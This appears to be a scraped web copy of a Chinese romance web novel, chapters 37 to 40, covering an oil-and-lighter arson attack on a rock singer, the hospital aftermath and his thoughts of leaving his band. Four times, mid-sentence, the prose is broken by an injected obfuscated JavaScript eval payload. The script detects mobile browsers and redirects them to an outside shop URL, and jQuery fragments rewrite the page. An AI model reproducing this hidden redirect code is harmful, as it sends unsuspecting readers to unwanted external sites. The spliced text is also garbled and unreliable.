那是他当初给歌迷的感觉,也是此刻给她的感觉。 流程在前期已经核对了很多遍,现场几乎没什么需要江绪春操心的地方。 她站在舞台下方侧边,百无聊赖地拨弄着对讲机的天线。段则表现得很完美,贺词背得一字不漏,还能随机应变开些聪明的小玩笑,台下的闪光灯快响成了鞭炮,他仍能一眨不眨地保持得体微笑。 现场人山人海,中庭早已被水泄不通,楼上也围满了人,甚至有不少人来来回回坐着扶梯,只为了找个好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352256|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角度看他们。 前排的观众百分之八十是女生,这都是些一早前来排队等候的歌迷,每个人都仰着一张幸福的脸。 江绪春也只有仰头才能看见他,可是仰望别人太久,会逐渐看不见自己。 “我有点事出去打个电话,你帮我盯紧点。”向镭忽然拍了拍她,压低声音在她耳边道。 “哦,好。” 江绪春收回目光,沉默地看着台下的观众。 现场自然不止有歌迷,还有不少前来凑热闹的路人,一边把手机举得比谁都高,一边还四处张望着打听“谁啊谁啊”。 更有甚者,目光对准的不是台上的人,而是台下这些年轻漂亮的姑娘们,咧着一张傻笑的嘴,越拥挤他越高兴。 江绪春嫌恶地“啧”了一声,皱着眉头看着那个猥琐的男人。 人群实在太过拥堵,保安只能维持基本秩序,但维持不了内部的暗流涌动。不时有新来的人想要挤到前排,又有前排的人想要退出来,来来回回间,好像铁锅里翻炒的芝麻。 男人似乎很满意这种拥挤,每有女生撞到他身上,他就会笑得更灿烂些,但更多人还是自觉避让开了他,结果却只是给了另一个男人挤上前的可乘之机。 新的男人头戴鸭舌帽,在女生们都纷纷避让开那位猥琐男时,见缝插针挤了进去。他衣着邋遢,身躯瘦小,许是身上的味道不太好闻,女生靠近他都纷纷捂着鼻子,不由得远离他。 他就这样一路在周围人的“排挤”下,不知不觉挤进了第一排。 这下,江绪春同他只有不过一米的距离。 他确实不太好闻,烟臭夹杂着油耗味,让江绪春突然怀念起刚刚在车上闻到的香水味。她皱着眉,不自觉也后退了一步,转头看向台上。 活动临近尾声,主持人在讲些收尾的台词,无非是祝商场业绩长虹,祝陆鲨新专大卖,段则配合地讲些漂亮话,再在引导下,转身和台下的观众一起合影留念。 江绪春眼睛看着台上,头脑却开始神游。 今晚她便要坐飞机回北京,领导昨天就已经对她发出了警告,这份工作不出所料是黄了,但该争取的权益她必须争取。 往后该怎么办呢,继续留在北京找下一份工作,还是回老家寻一份安逸? 江绪春重新看向台上的人,在他被万众瞩目时,她却为着生活而犯愁。 她知道这不是他的错,只是偶尔、偶尔,她会羡慕他,甚至有一点嫉妒他。 不是嫉妒他的名气和财富,而是嫉妒他永远知道自己要什么,也能真的得到。 在掌声和欢呼声中,段则缓缓向台下走来。 那股烟臭味又近了,江绪春刚准备退得更远些时,却闻见一股浓厚的食用油的气息。 她猛地回头,正见棒球帽男人从保安的间隙中冲出,玩忽职守了一整场的保安来不及反应,任由他冲向正在下台的段则。 几乎是本能,江绪春三两步冲上台阶,伸手抓向男人,却在他回头之际,被淋了一身油腻。 她还不死心,再次试着抓住他时,眼前忽而伸来一只手,在这片浑浊的气味中,带着清冽的草本药感清香,偏偏它的动作不算友好,一把将江绪春推倒在地。 她狼狈地滚落台阶,将将撑起身子,耳边忽而传来一声细微的“咔哒”声。 再度抬头,一片火光彻底吞没了她的视野。 38. 第 38 章 接到父母电话时,江绪春正在病房里吃水果。 果盘是买给段则的,但他没什么胃口,全便宜她了。 事情发生当下,便迅速登上了热搜。不过老两口不怎么上网,等到晚上有人打电话给两人说了这事,他们才着急忙慌地打电话来。 江绪春放下刚叉起的草莓:“爸、妈,你放心,我一点事没有。” 说着,她把镜头举高,给自己来了个全身照。 老两口关心又警惕地审视了半天,略略松了一口气:“那小段呢?” 江绪春抬头看了眼病床上的人,他正用iPad看电影,闻言和她一对视,抬高了些声音:“叔叔阿姨,我也没事。” “吓死了吓死了。”刘蓉拍拍胸脯,这才松了口气,“刚刚我和你爸心脏都快跳出来了,你要是真有什么三长两短,我们都不敢想!” 望着两双忧心的眼,江绪春一阵鼻酸:“为了你们,我也会好好照顾自己的。” 两边又寒暄了好一阵后,才挂断电话。 江绪春走近病床,望向他缠着绷带的手臂:“还疼吗?” “当然疼。” 她伸出手本想表示安慰,一时不知道摸哪,摸人家受伤的地方当然不合适,她只好下移,轻轻摸了摸他的腿。 段则:“少占我便宜。” “……自恋。” 最恐惧和最担忧的时间已经过去了,两个人终于还能像现在这样开开玩笑。 大脑像是自动开启了自我保护机制,不过几小时前发生的事,江绪春已经记不清了。 她只记得眼前一片橘黄,热浪像洪水向她翻涌而来,再然后她便断了片,不知怎么就到了医院。她好像一直在哭,在走廊上哭,在病房里哭,直到看到上完药的段则好端端地向她走来,说他本来只是手臂疼,现在被她哭得脑子也疼,她才一抽一抽地止住眼泪。 情绪平复下来后,还是通过围观群众发上网的视频,她才勉强拼凑出那一段记忆。 男人应该是早有预谋,在活动开始前便守在中庭,但终究没抢过商场开门前便已在排队等候的歌迷们。一整场,他就这样一点点不动声色地向前挤去,多名现场群众回忆他曾经过自己身边,因为看起来不像歌迷,再加上体味难闻,令他们印象深刻。 在活动结束前的最后几分钟,他终于挤到了第一排。 他的目标很明确,就是即将走下舞台的段则。趁保安不备,他自人缝中冲上前去,打开藏在口袋里的小罐食用油,偏偏江绪春从一旁杀了出去,他被拽到一个转身,大半罐油都洒在了江绪春身上。 男人气急败坏地取出打火机,恰在此刻,段则一把将她推倒,火光腾地燃起,男人姗姗来迟地被制服,一片混乱下,段则徒手撕开起火的衣服,终于脱离险境。 一番检查下来,好险段则只有右手手臂大面积烧伤,而从台阶上滚下来的江绪春,则收获了一个现在还隐隐作痛的屁股。 这当然已经是突发情况下的最好结果,但每每看到现场视频,她都感到一阵后怕。 她不敢想但凡走错了任何一步,现在会是什么境地。 “又被你救了。”刚包扎完出来时,段则说。 江绪春那会儿还在掉眼泪,哭得视野一片模糊,她抬起一双又红又肿的眼,呆愣愣地看着他,直到泪水糊住眼眶,她再擦再看。 他看起来好像还好,他还在笑,笑什么呢,怎么笑得出来的啊。 “别哭了好不好,我不是还活着吗?”段则一脸无奈地看她。 江绪春摇摇头,重新擦擦眼睛,一开口被哽得断断续续:“是你救了我。” “要不是你挡那一下,就全都泼我身上了。” 江绪春的脑子还有些混沌,不太能回忆起当时的画面。 但很显然,现在不是弄清楚谁救谁的时候。 她没争辩,点点头:“你没事真好,你不要再有任何事了。” “知道了。”他用没受伤的左手摸摸她的头,“小鸭。” - 电话挂断后,刘蓉发来一长串显然是复制粘贴的文字。 仔细一看,全是烧伤后的注意事项。 段则目前住在当地最好的医院,稍稍稳定后,会转到国内最好的烧伤整形医院进行手术。哪些方面需要注意,一早有人帮他料理得清清楚楚。 但到底是来自母亲的关心,江绪春还是捧着手机道:“我妈给我发了好多注意事项,我要不给你念一念。” “好啊,我想听。” 才念一半,江绪春已经口干舌燥,她放弃地将对话转发给了他:“算了,你自己看吧。” “真懒。”段则笑着看向手机,“替我谢谢阿姨,很有用。” 江绪春乖乖在手机上转告段则的话时,突然意识到有什么不对。 这一下午,病房来来回回很多人,己方的工作人员,商场的人,医生护士,自然还有警察。 电话也响个不停,公司的人、他的朋友、媒体……江绪春完全疲于应对,全是向镭揽下了一切。 但是这里面,没有段咏竹。 没有那个本应该和他最亲近的人。 江绪春佯装继续看手机,半分钟后道:“镭姐找我,我出去一趟。” “嗯。”段则看起来没有怀疑,只匆匆瞥了她一眼。 江绪春来到走廊角落,拨通了通讯录里那个不常联系的号码。 电话响了好久才被接通。 “喂,小春?” “阿姨,您看新闻了吗?” 那头是长久的沉默。 末了,段咏竹终于开口:“他还好吗?” 一瞬间,江绪春竟不知该说什么。 所以段咏竹是知道发生了什么,但她怎么会连一通电话也没有打? “他的手臂二度烧伤,目前刚做完换药包扎,他现在很疼,阿姨,您要不给他打个电话吧。” 刚刚好不容易止住的眼泪,莫名在说到这里又涌了出来。 “知道了,我会打的,谢谢你。” 江绪春怕自己的哭腔太明显,连声“拜拜”都说不出口,应了句“嗯”便挂断了电话。 在洗手间收拾好自己红通通的眼睛后,江绪春回到病房。 电影的声音已经停了,段则抬头看向她:“我妈刚刚给我打电话了。” 江绪春故作惊讶道:“是吗,阿姨一定很担心你,都说什么了?” “她说你让她打电话给我。” “……” 一瞬间,江绪春觉得又是尴尬,又是难过。 为他难过。 “谢谢你。”见她窘迫的表情,段则倒是笑了,“过来,让我抱一下好不好。” 江绪春还尴尬着:“不好。” “那我过去。”他说着就要起身。 虽然他腿脚无碍,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355723|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家高低是个伤者,江绪春还是先他一步走到床边,低头一把扑进他怀里。 那股熟悉的味道里,混杂着药水和消毒水的气味,江绪春抱得很紧,脑袋用力抵住他胸口,感受那蓬勃的心跳,她希望这颗心能永远强而有力地跳动下去。 段则一下一下,很轻地拍着她的背:“小鸭。” “嗯?” “以后不要这样冒险了。” 始终保持得体的微笑,并不是一件容易的事。 走下舞台时,段则一边绷着表情,一边注意脚下的台阶,尽量走得优雅些。 一切发生得太过突然,他还没有看清男人的脸,先一步看见了那个总是很勇敢的姑娘。她已经27岁了,可面对坏人时的那种坚毅不屈,还带着一点愠怒的表情,和小时候几乎一模一样。 他没法准确地判断眼下的情况,但他知道这个男人很危险,所以他出于本能,把她推离了危险的来源。 再后来,他看见自己的身体在燃烧,在火被熄灭后,疼痛才姗姗来迟。 许多人团团围住他,他疼得脑袋都是木的,但仍努力搜寻她的身影。都怪她太矮了,不对,是他还不够高,没法从人群中一眼找到她。 一群人带着他离开,他一边回头一边问江绪春在哪,有人说这是谁,有人让他不要慌张,会马上带他去医院,也有人说她没事,但他不确信是不是在糊弄他。 往后他完全是被动的,被带到这里,带到那里,手臂疼到整个人都有些发僵,仍努力从人群里寻找熟悉的身影,起码是确切认识她的人。 最后他看到向镭,问她江绪春还好吗。 他看见向镭叹了口气,满面愁容。 所有糟糕的猜想一瞬间冲上头顶,令他耳鸣眼花快要难以自持。 “她没事,她很担心你,在外面哭呢。” 段则的头脑反应了一转,才听明白这句话。 他觉得自己很混蛋,昨天让人哭,今天又让人哭。 是的,虽然江绪春今早化了比平时都要浓的妆,但他还是看出来她的眼睛有些肿。 他只是很想送她一件圣诞礼物,很想告诉她自己每天都在想她,他也确实这么做了,但好像统统都不是她想要的。 那怎么办呢,她又要走了,他只能笨拙但用力地试图做点什么挽留她。 走出换药室,他终于看见她了。 梨花带雨,好不可怜。 好在除了那双红肿的眼睛,她看起来一切无恙。 他有很多话想说,但最后都变成了一句无关痛痒的玩笑话。 歌迷们常说,陆鲨的情歌很少。 不过就算是他们列举出来的几首,其实他写的也不是爱情。 他确实对这方面没有太多想法,他有足够明确的梦想和目标,友情也已经填满了他的情感需求,他不是很需要再多一种爱情—— 短暂的,虚幻的,急速热烈又急速冷却的,这就是他在成长过程中,从段咏竹那里学来的全部对爱情的注解。 但是如果、如果。 如果他极度需要一个人的陪伴,对方离开时会想她想到失眠,食欲不振,意识到未来或许会永远失去她时,迅速对一切都失去兴趣,宁愿自暴自弃。 又如果,他把她的安危看得比自己还重要,愿意为她承受一切苦痛,就算以生命作为代价也在所不辞。 那么,这又是一种什么样的感情? 39. 第 39 章 回北京的机票自然是作废了,向镭帮忙在医院附近订了酒店,但江绪春还是窝在病房里过了一夜。 这一晚她睡得不太好,下午的场景频频重现。她梦见段则被火光彻底吞噬,她不管不顾地冲进火里想去找他,却遍寻无果。 绝望中,江绪春猝然惊醒,她捂着狂跳的心大口喘气,眼一瞥,对上黑暗中一双亮晶晶的眼睛。 他没出什么大事,真好。 真好、真好。 “吵醒你了吗?”她抱歉道。 “没有。”可能是夜深了,段则的声音很轻,泛着哑意,“睡不着。” “是因为伤口疼?” “一部分。” “另一部分是什么?” 段则沉默少顷:“不知道,脑子很乱。” 眼一闭,在他眼前就会出现那场火,以及义无反顾冲上来的江绪春。 他无法想象自己如果推慢了一秒,会是什么后果,但他知道那一定是他无法承受的。 “那就不想了,我们聊聊天。”江绪春说。 “聊什么?” “聊……你下午看了什么电影?”只要不聊那场火,什么都好。 “其实没怎么看进去。” 她还在绞尽脑汁想下一个话题时,段则又开口了: “你在北京过得好吗?” 江绪春揪着被角,鼻腔突然一酸。 “不好。”她说。 “哪方面不好?” “吃得不好,住得不好,睡得不好,工作也不好。”她委屈地一个个数着。 段则喉结一滚:“我一直以为,你离开我后,会过得比较好。” “怎么会呢,你为什么会这么以为?” “因为你当初是那么努力要离开我。” 那时江绪春是很想离开他。 她也以为问题出在段则身上,离开他就会过得好一点。 可事情显然不是这样的。 她能听出来段则的声音里有那么一点怨气。 江绪春不服气,又难以反驳,只能梗着脖子道:“是啦,我做错了啦,好嘛。” “不好。”段则接得很果断,“我还是希望你过得好,无论有没有我。” “那你呢?”江绪春问,“没有我你过得好吗?” “糟透了。” 她突然不敢继续往下问了,只能将脑袋用力埋进带着消毒水味的被褥里。 她连一句“希望你过得好”都说不出来,因为她私心希望段则没有她会夜不能寐,食不知味,但当他真的变成这样,她好像也没有很开心。 “睡吧。”良久,她听见段则说,“晚安。” 这一晚注定难以安寝,一早,江绪春被查房的声音吵醒,没睡几小时的头脑昏沉到不行。 今天段则要转去上海的医院,她自然也会去。 段则是在机场才知道她要同行,他看着两人同目的地的登机牌,有些讶异:“你不回北京吗?” “你都这样了,我怎么安心回去。” “那工作怎么办?” “这种时候了,还说这个。” “我不是没事吗。”他动了动没受伤的那只胳膊,“能跑能跳的,没什么好担心的。” 江绪春定定地看了他几秒:“你想赶我走是不是。” “不是。”他说,“我不想拖累你。” 和这种人讲道理,有时候特别没意义。 江绪春脑袋一别:“我就要去上海,你爱去哪去哪。” 她听见段则很轻地笑了一下:“谢谢。” 候机期间,江绪春和向镭一起去买咖啡。 “公司那边假都请好了?”向镭问。 江绪春沉默几秒:“我打算换份工作。” “有想过回来吗?” 江绪春回头遥遥看了一眼休息室的方向,摇摇头:“还是算了吧。” 无论如何,她都很难以平和的心态和段则共事了。 “好吧。”向镭说,“其实我一直不太理解你当初为什么辞职,你和段则有什么矛盾吗?” “没有。” “不喜欢工作内容?” “……也没有。” 料想是问不出什么答案了,向镭耸耸肩:“行吧,那你下一步打算找什么工作?” “没有想好。”一问三不知,江绪春自己都不太好意思。 “lily前段时间还和我提到你,说想你呢。”向镭说,“她问你还会不会回来,我说那得看你。” 江绪春有些惊讶。 她和lily虽然一早加了联系方式,但分开后基本没怎么联系。小姑娘有点像她,明明想念着对方,却怎么都无法亲自说出口。 “等段则恢复得好点了,我去深圳找她一趟吧。”江绪春说。 “你要是对陆鲨没兴趣了,有没有想过接手bluenight?”向镭说,“我一直觉得,你挺有当经纪人的潜力。” 江绪春讶异地看向她,下意识想拒绝,但理智居然让她住了口。 “再说吧。”最终她说。 眼下段则这个情况,她没法那么快地给出答案。 段则目前忌口很多,咖啡自然没有他的份。两人回到候机室,向镭忽而接到了警察的电话。 案情本身并不复杂,调查结果出来得也很快。 男人并不认识段则,他甚至不听摇滚,只是偶尔在某男性为主的app刷到过陆鲨,跟风发表过一些负面评价,但并不算太关注。 前段时间,他刚被公司优化,预备结婚的女友又发现他□□,果断与他分手,家里的父亲因此被气到病倒。 他的人生一瞬跌至谷底,某天他经过商场,看见陆鲨的巨幅活动宣传海报,周围围了不少小姑娘在拍照打卡。他心中无名火顿起,默默记下了活动时间。 这其实是一场有预告的行为,他曾明目张胆地私信段则,说自己要报复他,却只得到对方一句戏讽。 这坚定了他行凶的决心。活动当天,男人从商场地下超市购入小瓶装的食用油藏进外套口袋,接下来便像监控和路人视频拍到的那样,他一步一步执行着自己荒唐的计划,如果不是半路杀出的江绪春,谁也不敢想结果会是怎样。 复述完警察的话,候机室内沉默良久。 最终还是向镭先开口道:“你有收到他的私信?” “我不知道。”段则摇摇头,“每天有太多人骂我、威胁我,我不知道哪个是他。” “你非手贱回那一下干什么,可能人家口嗨一下,你一回复不是给人激怒了吗?” “回不回复都一样。”一旁的江绪春道,“想作恶的人,总能为自己的行为找到一万个借口。” 段则淡淡地看她一眼,没说话。 “想来也是挺扯的。”向镭说,“你又没招他惹他,莫名其妙就被他记恨上了。” 段则:“做公众人物,不就得有这样的觉悟吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362875|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 江绪春有些讶异,这句话会从段则口中说出。 “算了,不聊了,回头看怎么判吧。”向镭说,“商场那边我们也会告的,你放心,该算的都会算。” 段则“嗯”了一声,情绪并无太多起伏。 此事自从发生后,就在热搜高位居高不下,今天的警方通告,又冲上了新热搜。 江绪春心烦意乱地划着手机,无论哪个平台,都逃不开这件事。 翻着翻着,她刷到了一些奇怪的东西。 这是一张草就的同人图,主角毫无疑问是段则。 他被悬吊在十字架上,半身燃着熊熊的火焰,下方有一条黑色的巨蛇在悄然游离。 如果单从艺术性来看,这张图无疑画得很美。 但不知是不是空腹喝咖啡的原因,江绪春却一阵阵地作呕。 下方的评论区里,有人贴出了灵感来源。 那是现场视频的一帧截图,段则眼疾手快撕掉了起火的衣服,他裸着半边身子,面庞在火光中忽隐忽现,因为是仰拍,看着仿佛在无悲无喜地俯视众人。 【用户A:虽然有点不道德,但是……这张图真的好圣洁。】 【用户B:此处应有陆鲨的《涅槃》作BGM,完全是浴火的凤凰。】 【用户C:替众生受苦的圣子,悲悯地俯瞰茫茫蝼蚁,愿汝之苦难均施于吾身,吾将独闯这万劫不复之地。】 【用户D:终于找到根据地了,我在别的地方都不敢这么说,太太画得好美味。】 评论区文采斐然地把他比作凤凰、撒旦、圣子、炽天使……以一种诡异的角度凝视一个真实存在的人,以及一场险些致命的事故。 但或许,现实里段则不过伤了一条手臂,因而这种行为,也无需背上太沉重的道德枷锁。 江绪春放下手机,重新抬起眼。 段则就坐在她对面,他在呼吸,在心跳,唇边冒出星点浅青色的胡茬,他刚刚经历了一场死里逃生,她险些就要失去他了。 他没有那么高尚,也从没想过拯救或毁灭人类。 但可能,是他或者不是他,都没那么重要。 他们需要的只是一个符号,内核是什么都无关紧要。 “在看什么。”她的目光太直勾勾,段则一抬眼,对上了她的。 江绪春嗫嚅着,半天只说出一句:“还疼吗?” 段则想了想:“习惯了。” 近两小时的飞行后,飞机平稳抵达上海。 一切已被安排妥当,江绪春的作用好像只是在走廊上等待,看他被引导着穿梭在不同的楼层和房间。 一直等到夜里,段则得以休息,她也终于能安静地看一看他。 “医生说怎么样?”江绪春问。 “还行,还是得看后续恢复情况。” “哦。”她的心放下了些,“一定会恢复得很顺利的。” 段则十分顺手地揉了揉她脑袋:“谢谢你陪我奔波。” “我没有奔波啊,我一直在坐着。” 段则一愣,旋即很轻地笑了:“坐着好,好好休息,今晚别做噩梦了。” “你呢,你昨晚有没有做梦,是好的还是坏的?” “我不知道是好还是坏。”段则顿了顿,“但是我有点想实现它。” 不知道好坏,怎么还会想去实现。 江绪春不太明白:“你梦见什么啦?” “我梦见,陆鲨解散了。” 40. 第 40 章 大概每个学吉他的人,都练过或至少想尝试过《hotelCalifornia》,段则也不例外。 那时候的他还不知道什么是摇滚,只知道这首歌的吉他很出名。小小的他每天在少年宫上完那些不感兴趣的课后,就会找到那个学吉他的同学,两人一起跑到二楼走廊的角落练琴。 段则毕竟是偷学的,每天只敢耽搁最多一小时,就得抓紧回家。就这样,他磕磕绊绊学了好几个月,才总算弹熟这首歌。 后来他回想起来,意识到自己好像确实没有太大的天分,但胜在勤奋,或者一根筋爱死磕。 从这首歌开始,他又渐渐听了很多类似的歌,自此结下了与摇滚的不解之缘。 初升高的那年暑假,段则半是实力半是运气地考上了当地还不错的高中,母亲难得问他想要什么奖励,他鼓起勇气说了吉他,段咏竹说一不二,马上开车载他去了乐器行。 由此,段则终于可以在家光明正大地练吉他。 段咏竹对他一直没有太大期望,能考上大学就行,考不上也罢,健康活着就好,甚至有时候他觉得哪怕他死了,母亲也只会象征性地掉一掉眼泪,然后继续她的人生。 大概也正是如此,他离家北上的时候没有一丝留念。 其实段则很清楚,他唱功一般,吉他演奏能力也一般,充其量有点创作能力,在原创的噱头下,很多东西都可以被包容。 他第一首走入众人视野的歌是《荒野》,这不是他最喜欢的歌,也不是最用心的,但关注度是一个很玄学的东西。 那时候他是在网站上发歌,某天他惯例去看评论,结果往日只有零星几条评论的他,一刷刷出了几百条,惊得他以为网站出bug了。 后来他才知道,他在清吧唱这首歌的视频小火了一波,只是火的不是这首歌,是他的脸。 每次有评论他都会看,这次也不例外。他认认真真把几百条评论都翻了一遍,然后发现几乎都在说他的脸,只有几个人评价了这首歌本身。 一瞬间,段则的心情有些复杂。 那时候他不知道,这种复杂的心情,会一直伴随着他。 但被人关注总归是开心的,彼时的他还非常理想主义地想,总有人会透过他的外貌看到他的灵魂,与他产生更深层次的共鸣—— 这种想法一次次被击碎后,段则陷入了深深的自我怀疑。或许他真的只是个供人观赏的花瓶,而一樽花瓶试图证明自己不止能插花,又是否太自不量力。 直到《温差》那首歌的走红。 这首歌是他写的,但歌手是眠艇。 那时候他急着赚钱,写完歌四处投稿,眠艇是第一个肯定他的。 段则很清楚,这首歌的走红,离不开眠艇的出色演绎。 但他总觉得,或许他也不是毫无用处。 那首歌下的评论有上万条,段则自然没法全部看完,但他还是认真翻了很久。 这些评论有的直抒胸臆,说自己听哭了的,循环了好几天的,还有些则是用心分析词曲,他藏在背后的隐喻,深埋的感情,全部被他们发现了。 除了圈内好友,第一次有人如此深入地讨论他的歌。 后来,他还给眠艇写过很多歌,几乎首首爆火。 但是眠艇的走红,对他并没有产生太多影响,因为没有人知道,词曲一栏的“容舟”,就是段则。 这个笔名是兴榕和泓州的结合,两座对他意义深远的城市,也是陆鲨歌里常常提到的城市。 他从未隐藏自己和眠艇的朋友关系,料想这并不是一道困难的推理题,稀奇的是,从来没有人将两者联系在一起。 可能因为就算陆鲨90%的歌都是他写的,也没人觉得他真的多有才华,至今仍传言那些歌他都是挂名,有人在背后代笔。 他们一边无限贬低段则的才华,一边又在神化容舟,说他捧红了多少籍籍无名的小歌手,说他多低调多神秘。 一个人原来可以既高调又低调,既张扬又神秘。 在陆鲨被嘲讽得最厉害的时候,眠艇有劝他公开两者的联系,被段则拒绝了。 他知道自己是个矛盾的人,一边用化名隐藏身份,一边又希望别人发现他。 可能兜兜转转,他只是需要一个肯定,一个真正的肯定。 但是如今他不需要了。 - 听到他的回答,江绪春有些讶异,自己竟然并没有多意外。 陆鲨像是一座摇摇欲坠的大厦,地基打得尚且坚实,中期开始偷工减料,急功近利,虽然确实垒到了难以想象的高度,但谁都知道,它迟早会坍塌。 她沉默几秒:“我尊重你的一切决定。” 她不意外,但段则对她的反应很意外。 夜深了,病房仅开了一盏床头灯,短短的一截冷白灯带,将将映到他的胸膛。他的脸蒙在灰白的阴影里,只有一双眼闪着温润的光。 “真的?”他轻声问。 “真的啊。”江绪春答得毫不犹豫,“想做什么就去做吧。” 死里逃生后,人的心态好像终会发生一些变化。 “但是,陆鲨已经不是我一个人的了。” 一开始只有他,后来变成了四个人,再后来加上了江绪春,直到现在,还有公司的一大批人。 它越庞大,就越不可控。 “可是,有些想法一旦冒头,就难以被抑制了。无论做出什么选择,都只是迟早的事。”江绪春说。 她也以为自己可以克制对段则的喜欢,结果是她越来越难以承受,以至于成了逃兵。 段则看着她:“小鸭。” “嗯?” 他欲言又止,最终只是向她伸出一双手。 江绪春了然,朝他走近了些。 段则坐在床沿,收紧手臂揽上她的腰,低头埋进她怀里。 但很快,她感觉身前的人似乎有一瞬僵硬。 段则收回手,身子略略后仰和她保持了些距离,莫名清了两下嗓子:“时间不早了,快去休息吧。” 今晚江绪春不在病房过夜,向镭帮她在医院附近找了酒店。 离开病房的路上,她下意识摸了摸段则刚刚倚靠过的地方。 下一秒,她低头看向自己的胸前,又回头看了眼病房。 手脚一瞬间变得有些不自如,江绪春本能地清了清嗓子,又意识到刚刚某人也是这么做的。 ……很怪。 翌日一早,她便赶来了医院。 段则不在病房里,似乎是去换药了。 江绪春在走廊上碰到了向镭,对方面露疲态,这些日子接二连三出事,折腾得她心力交瘁,这边还没安定好,明天她又得去深圳,还有别的事找她。 “吃过早饭了吗?”向镭问她。 江绪春摇摇头。 “走吧,去吃饭吧,段则那边一时半会也不需要我们。” 两人就近来到医院里的星巴克,向镭没什么胃口,只点了杯咖啡。 江绪春埋头啃着蛋堡,啃到一半弱弱开口道:“话说,陆鲨后续有什么安排吗?” “法务那边在跟进了。” “我是说……工作方面的。” 向镭沉默几秒:“这看着像还能工作的吗?” “那……如果以后再也不能工作了呢?” 向镭哑然失笑:“可别当他面说,你这是咒他呢?” “没有啦。如果,我是说如果哦,如果他因此留下什么心理阴影,没法继续工作,公司合同这边……” 向镭的表情逐渐变得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373684|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严肃,目光里带着审视的意味。 江绪春第一次见到她时,向镭就是这副表情,没想到时隔这么久,她还是会被看得一阵心虚。 “段则和你说什么了?”向镭问。 “没有没有。”江绪春忙道,“但是我能感觉到,这件事给他的影响蛮大的,我只是随便问一问。” “合同还有两年,提前解约肯定要负法律责任。不过鉴于眼下这个情况,违约费有一定商谈余地。但无论是‘你感觉’还是他真有这个想法,我只能说建议谨慎行事,毕竟公司永远利益至上,我也只是个打工人。” 吃完早餐上楼,两人终于在病房里见到了段则。 向镭明天就要离开,她有一些事需要和段则交代沟通,江绪春没去旁听,默默在走廊等候着。 半小时后,向镭走出病房:“我先离开一趟,刚好上海有些朋友找我,有事联系我。” 两人匆匆道别后,江绪春推开病房门。 阳光正盛,屋内暖融融一片,身着病号服的段则看着比平日更为消瘦,神情倒还算平静,和她对上眼后,很轻地笑了一下。 不知为什么,一看到他,江绪春就想起昨晚他的反常反应。 她生硬地回了一个笑,在离他稍远处落座:“疼吗?” “还好,习惯了。” “哦。” 两人突然无话可说,屋内惊得人心慌。 江绪春的目光四处搜寻着,看到床头的iPad,终于长舒一口气:“我们看电影吧。” “行。” 段则拿起iPad,将它架在床上桌上:“想看什么?” “随便。” 段则划动屏幕,末了点开一部,经典的龙标音乐随之响起,他看了眼还在老远处坐着的江绪春:“你坐那儿能看到?” “能、能啊。” “视力这么好?” “是啊。” 段则看她一眼,没再言语,专注地看向屏幕。 这是部英文原声电影,虽然有字幕,但从江绪春的距离根本看不见。她一边辨认着那几个有些模糊的人脸,一边努力做着英语听力,后悔自己刚刚说什么随便,点部国产片不好么。 看了不到一刻钟,段则突然开口:“Davis为什么不同意Hilton的请求?” 这话一瞬间给江绪春问懵了。 她是隐约有听到这两个人名,但连他们是男是女都不知道,更别提剧情了。 “啊……嗯……你往下看就知道了。”她支吾着。 段则淡淡飞了她一眼:“你根本看不到吧。” “能看到啊。”嘴硬到一半,江绪春还是妥协了,“就是有点看不太清。” 见她承认了,段则很轻地哼笑了一声。 他合上iPad,没了电影的声音,病房里那种诡异的安静又开始弥散。 “你为什么躲我?”她听见段则一字一句问。 江绪春试图拼死抵抗:“哪有,我只是不想坐在床上。” “椅子是可以移动的。” “啊,天哪,我还以为是固定的呢。” 她说着,像发现新大陆一样,将椅子兴冲冲地往床边搬近了……二十厘米。 段则平静地看她装疯卖傻:“再近一点。” “哦哦。”又近了十厘米。 “再近一点。” “不能再近啦,再近我就要和你一样近视啦,你的眼睛是不是就这样看坏的……” “你到底为什么躲我?”段则一口打断了她的胡言乱语。 为什么呢,江绪春也很难说清。 从昨晚她就开始想不通了。 